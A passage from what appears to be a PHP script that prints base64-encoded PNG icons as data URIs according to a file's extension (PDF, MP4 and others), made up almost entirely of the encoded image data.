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"; } elseif ($ext == "pdf") { echo "data:image/png;base64,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"; } elseif ($ext == "mp4") { echo "data:image/png;base64,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